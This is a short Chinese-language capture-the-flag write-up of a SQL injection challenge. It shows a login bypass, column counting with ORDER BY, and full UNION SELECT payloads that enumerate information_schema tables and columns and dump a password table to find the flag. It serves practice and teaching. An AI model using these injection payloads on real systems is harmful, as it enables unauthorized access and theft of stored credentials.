首先查看源码,没什么发现
继续尝试万能密码
成功登录
MD5解密无果
看起来不是
因为题目提示SQL,所以试一下注入
使用他给的密码登录admin
在url中使用order by,查询到有3个字段
直接使用union select 1,2,3
发现回显没有改变,将password的值改为1,显错注入
?username=admin&password=1'union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1-- asd
修改limit的值,可以得到
geekuser
l0ve1ysq1
?username=admin&password=1'union select 1,column_name,3 from information_schema.columns where table_name='l0ve1ysq1' and table_schema=database() limit 0,1
得到
id、username、password
最后在union select 1,2,password from l0ve1ysq1 limit 15,1找到了flag